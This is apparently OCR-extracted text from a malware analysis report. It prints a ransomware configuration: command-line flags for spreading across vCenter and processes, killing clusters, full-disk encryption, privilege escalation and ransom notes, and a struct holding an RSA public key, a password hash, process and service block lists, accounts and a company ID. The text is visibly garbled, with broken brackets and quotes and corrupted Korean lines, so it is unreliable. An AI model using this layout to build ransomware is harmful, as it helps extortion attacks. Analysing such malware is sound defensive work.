/* use '--no-domain': 0 */
[* use '--no-network': 0 */
[* use '--no-ef': 0 */
/* use '--no-ff': 0 */
/* use '--no-df': 0 */
[* use '--no-autostart: 0 */
/* use '--no-proc': 0 */
/* use '--no-services': 0 */
/* use '--no-vm': 0 */
/* use '--kill-cluster': 1 */
[* use '--no-extension': 0 */
/* use '--no-wallpaper': 1 */
/* use '--no-note': 0 */
/* use '--no-destruct': 0 */
/* use '--no-zero': 0 */
/* use '--print-image": 1 */
/* use '--force': 1 */
/* use '--debug': 1 */
/* use '--no-logs": 1 */
[* use '--fde": 1 */
/* use '--spread": 1 */
/* use '--spread-vcenter': 1 */
/* use '--dry-run': 1 */
[* use '--logs'": 1 */
/* use '--escalated": 1 */
/* use '--spread-process': 1 */

26
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uint32_t step;

DWORD reserved_0O;

uint32_t skip;

DWORD reserved_1;

uint32_t fast;

DWORD reserved_2;

uint32_t n;

DWORD reserved_3;

uint32_t p;

DWORD reserved_4;

DWORD *RSA_PUB;

uint32_t RSA_PUB_len;

uint32_t RSA_PUB_cap;

DWORD *password_hash;

uint32_t password_hash_len;
uint32_t password_hash_cap;
DWORD *directory_black_list;
uint32_t directory_black_list_len;
uint32_t directory_black_list_cap;
DWORD *white_symlink_dirs;
uint32_t white_symlink_dirs_len;
uint32_t white_symlink_dirs_cap;
DWORD *white_symlink_subdir;
uint32_t white_symlink_subdir_len;
uint32_t white_symlink_subdir_cap;
DWORD *file_black_list;

uint32_t file_black_list_len;
uint32_t file_black_list_cap;
DWORD *file_pattern_black_list;
uint32_t file_pattern_black_list_len;
uint32_t file_pattern_black_list_cap;
DWORD *file_pattern_white_list;
uint32_t file_pattern_white_list_len;
uint32_t file_pattern_white_list_cap;
DWORD *process_black_list;
uint32_t process_black_list_len;
uint32_t process_black_list_cap;
DWORD *win_services_black_list;
uint32_t win_services_black_list_len;
uint32_t win_services_black_list_cap;
DWORD *accounts;

uint32_t accounts_len;

uint32_t accounts_cap;

DWORD *company_id;

uint32_t company_id_len;
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uint32_t company_id_cap;
DWORD *note;

uint32_t note_len;
uint32_t note_cap;
DWORD reserved_6;
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2. SK €A MDR MH|A
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2aHQl deto] & £ QUCh A2 MHEAN SHXSS KTt MEfaL TSR BX| 2lm J|Hez ols 7|EQ o
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